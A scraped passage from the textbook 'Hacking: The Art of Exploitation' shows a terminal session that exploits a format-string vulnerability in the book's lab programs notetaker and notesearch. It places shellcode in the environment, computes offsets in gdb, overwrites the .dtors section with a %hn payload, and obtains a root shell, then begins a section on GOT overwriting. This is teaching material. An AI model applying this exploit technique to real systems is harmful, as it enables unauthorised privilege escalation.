26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

[DEBUG] found a 34 byte note for user id 999<br />

[DEBUG] found a 41 byte note for user id 999<br />

[DEBUG] found a 5 byte note for user id 999<br />

[DEBUG] found a 35 byte note for user id 999<br />

[DEBUG] found a 9 byte note for user id 999<br />

BBBB42424242<br />

-------[ end <strong>of</strong> note data ]-------<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Now that <strong>the</strong> relative layout <strong>of</strong> memory is known, <strong>exploitation</strong> is just a<br />

matter <strong>of</strong> overwriting <strong>the</strong> .dtors section with <strong>the</strong> address <strong>of</strong> injected shellcode.<br />

reader@<strong>hacking</strong>:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)<br />

reader@<strong>hacking</strong>:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch<br />

SHELLCODE will be at 0xbffff9e8<br />

reader@<strong>hacking</strong>:~/booksrc $ gdb -q<br />

(gdb) p 0xbfff - 8<br />

$1 = 49143<br />

(gdb) p 0xf9e8 - 0xbfff<br />

$2 = 14825<br />

(gdb) quit<br />

reader@<strong>hacking</strong>:~/booksrc $ nm ./notesearch | grep DTOR<br />

08049c60 d __DTOR_END__<br />

08049c5c d __DTOR_LIST__<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notetaker $(printf "\x62\x9c\x04\x08\x60\x9c\x04\<br />

x08")%49143x%8\$hn%14825x%9\$hn<br />

[DEBUG] buffer @ 0x804a008: 'b?`?%49143x%8$hn%14825x%9$hn'<br />

[DEBUG] datafile @ 0x804a070: '/var/notes'<br />

[DEBUG] file descriptor is 3<br />

Note has been saved.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notesearch 49143x<br />

[DEBUG] found a 34 byte note for user id 999<br />

[DEBUG] found a 41 byte note for user id 999<br />

[DEBUG] found a 5 byte note for user id 999<br />

[DEBUG] found a 35 byte note for user id 999<br />

[DEBUG] found a 9 byte note for user id 999<br />

[DEBUG] found a 33 byte note for user id 999<br />

-------[ end <strong>of</strong> note data ]-------<br />

sh-3.2# whoami<br />

root<br />

sh-3.2#<br />

21<br />

0x359<br />

Overwriting <strong>the</strong> Global Offset Table<br />

Since a program could use a function in a shared library many times, it’s<br />

useful to have a table to reference all <strong>the</strong> functions. Ano<strong>the</strong>r special section in<br />

compiled programs is used for this purpose—<strong>the</strong> procedure linkage table (PLT).<br />

190 0x300

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!